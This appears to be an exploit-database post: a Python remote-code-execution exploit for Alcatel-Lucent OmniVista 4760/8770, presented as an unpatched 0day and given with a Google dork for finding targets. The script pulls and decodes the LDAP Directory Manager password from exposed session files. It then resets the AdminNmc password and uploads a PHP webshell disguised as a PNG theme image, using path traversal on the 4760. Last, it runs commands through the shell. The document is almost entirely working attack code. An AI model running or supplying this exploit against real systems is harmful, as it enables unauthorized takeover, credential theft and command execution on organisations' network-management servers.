Share
# Exploit Title: Alcatel-Lucent Omnivista 8770 - Remote Code Execution  
# Google Dork: inurl:php-bin/webclient.php  
# Date: 2019-12-01  
# Author: 0x1911  
# Vendor Homepage: https://www.al-enterprise.com/  
# Software Link: https://www.al-enterprise.com/en/products/communications-management-security/omnivista-8770-network-management-system  
# Version: All versions, still unpatched  
# Tested on: Windows 2003/2008  
# CVE : 0day  
  
# Exploit attached, also available here https://git.lsd.cat/g/omnivista-rce/src/master/omnivista.py  
# Full writeup at https://git.lsd.cat/g/omnivista-rce/src/master/README.md  
  
  
'''  
Original url: https://git.lsd.cat/g/omnivista-rce  
Website: https://lsd.cat  
'''  
import requests  
import socket  
import ldap  
import sys  
from urllib.parse import urlparse  
from urllib3.exceptions import InsecureRequestWarning  
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)  
  
class OmniVista:  
def __init__(self, host):  
self.host = host  
self.addr = (urlparse(self.host).hostname)  
self.folders = ['php-bin/', 'soap-bin/', 'bin/', 'data/', 'Themes/', 'log/']  
self.filename = "poc.php"  
self.webshell = "<?php system($_REQUEST[0]) ?>"  
  
def identify(self):  
r = requests.get(self.host + 'php-bin/Webclient.php', verify=False)  
if '8770' in r.text:  
return 8770  
elif '4760' in r.text:  
return 4760  
else:  
return False  
  
def checkldap(self):  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.settimeout(10)  
result = s.connect_ex((self.addr, 389))  
if result == 0:  
return True  
  
def info(self):  
r = requests.post(self.host + 'php-bin/info.php', data={"void": "phDPhd"}, verify=False)  
if 'PHP Version' in r.text:  
return r.text  
else:  
return False  
  
def getpassword(self):  
r = requests.get(self.host + 'php-bin/Webclient.php', verify=False)  
id = r.headers['Set-Cookie'].split(";")[0].split("=")[1]  
r = requests.get(self.host + 'sessions/sess_' + id, verify=False)  
lenght = int(r.text.split("ldapSuPass")[1][3:5])  
password = r.text.split("ldapSuPass")[1][7:7+lenght]  
return password  
  
def decodepassword(self, password):  
counter = 0  
key = 16  
cleartext = ""  
if password[0:5] == "{NMC}":  
password = password[5:]  
else:  
return False  
for char in password:  
if 32 <= ord(char):  
char = chr(ord(char) ^ key)  
cleartext += char  
else:  
cleartext += char  
if ord(char) != 0:  
key = counter * ord(char) % 255 >> 3  
else:  
key = 16  
counter += 1  
return cleartext  
  
def connectldap(self):  
connect = ldap.initialize('ldap://' + self.addr)  
connect.set_option(ldap.OPT_REFERRALS, 0)  
connect.simple_bind_s(self.username, self.password)  
result = connect.search_s('o=nmc', ldap.SCOPE_SUBTREE, '(cn=AdminNmc)')  
print('[*] Current AdminNmc password: ' + str(result[0][1]['userpassword'][0]))  
self.bind = connect  
return True  
  
def editadminpassword(self):  
self.adminusername = "AdminNmc"  
self.adminpassword = "Lsdcat_exploit1!"  
self.bind.modify_s("uid=AdminNmc,cn=Administrators,cn=8770 administration,o=nmc", [(ldap.MOD_REPLACE, 'userpassword', self.adminpassword.encode('utf-8') )])  
return True  
  
def login(self):  
self.session = requests.session()  
r = self.session.post(self.host + 'php-bin/webclient.php', data = {"action": "loginCheck", "userLogin": self.adminusername, "userPass": self.adminpassword }, verify = False)  
if 'Directory license is required!' in r.text:  
return False  
else:  
return True  
  
def exploit8770(self):  
r = self.session.get(self.host + 'php-bin/webclient.php', params = {'action': 'editTheme', 'themeId': "2"}, verify=False)  
r = self.session.post(self.host + 'php-bin/webclient.php',  
data = {"action": "saveTheme", "themeId": "2"},  
files = { "BgImg1": (self.filename, self.webshell, "image/png")},  
verify = False)  
if 'success' in r.text:  
return True  
  
def exec8770(self):  
return requests.post(self.host + 'Theme2/' + 'poc.php', data = {"0": cmd}, verify=False).text  
  
def exploit4760(self):  
for folder in self.folders:  
r = requests.post(self.host + 'php-bin/webclient.php',  
data = {"action": "saveTheme", "themeId": "5/../../{}".format(folder), "themeDate": ""},  
files = { "BgImg1": (self.filename, self.webshell, "image/png")},  
verify=False)  
if 'success' in r.text:  
self.folder = folder  
return True  
  
def exec4760(self, cmd):  
return requests.post(self.host + self.folder + 'poc.php', data = {"0": cmd}, verify=False).text  
  
def autoexploit(self):  
print('[*] Attempting to exploit on {}'.format(self.host))  
self.model = self.identify()  
if self.model == 4760:  
print('[*] Model is {}'.format(str(self.model)))  
self.exploit4760()  
print('[*] Upload folder is {}'.format(self.folder))  
output = self.exec4760("whoami")  
print('[*] Webshell at {}{}{}'.format(self.host, self.folder, self.filename))  
print('[*] Command output: '.format(output))  
elif self.model == 8770:  
print('[*] Model is {}'.format(str(self.model)))  
self.username = "cn=Directory Manager"  
self.password = self.decodepassword(self.getpassword())  
print('[*] {} password is "{}"'.format(self.username, self.password))  
if self.checkldap():  
print('[*] LDAP Service is accessible!')  
self.connectldap()  
print('[*] Changing AdminNmc password')  
self.editadminpassword()  
print('[*] Logging in')  
if self.login():  
self.exploit8770()  
output = self.exec8770("whoami")  
print('[*] Webshell at {}{}{}'.format(self.host, "themes/Theme2/", self.filename))  
print('[*] Command output: '.format(output))  
else:  
print("[x] Directory license not installed :/")  
return False  
else:  
print("[x] LDAP Service is not directly accessible")  
return False  
  
else:  
print("[x] Target is not an OmniVista 4760/8770")  
return False  
  
if len(sys.argv) != 2:  
print("Usage: ./omnivista.py http(s)://target.tld:port/")  
else:  
exploit = OmniVista(sys.argv[1])  
exploit.autoexploit()